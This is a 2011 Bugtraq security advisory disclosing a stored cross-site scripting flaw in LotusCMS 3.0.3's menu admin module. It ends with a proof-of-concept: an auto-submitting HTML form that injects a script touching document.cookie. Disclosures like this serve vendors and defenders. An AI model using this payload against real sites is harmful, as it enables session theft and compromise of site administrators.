bugtraq - HTB22887: XSS vulnerability in LotusCMS

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Date: Tue, 15 Mar 2011 14:41:45 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22887: XSS vulnerability in LotusCMS

Vulnerability ID: HTB22887
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_3.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ ) 
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/Menu/MenuModuleAdmin.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?system=Modules&page=admin&active=Menu&req=save&id=3" method="post" name="main">
<input type="hidden" name="title" value='lotus"><script>alert(document.cookie)</script>'>
<input type="hidden" name="external" value="http://host">
</form>
<script>
document.main.submit();
</script>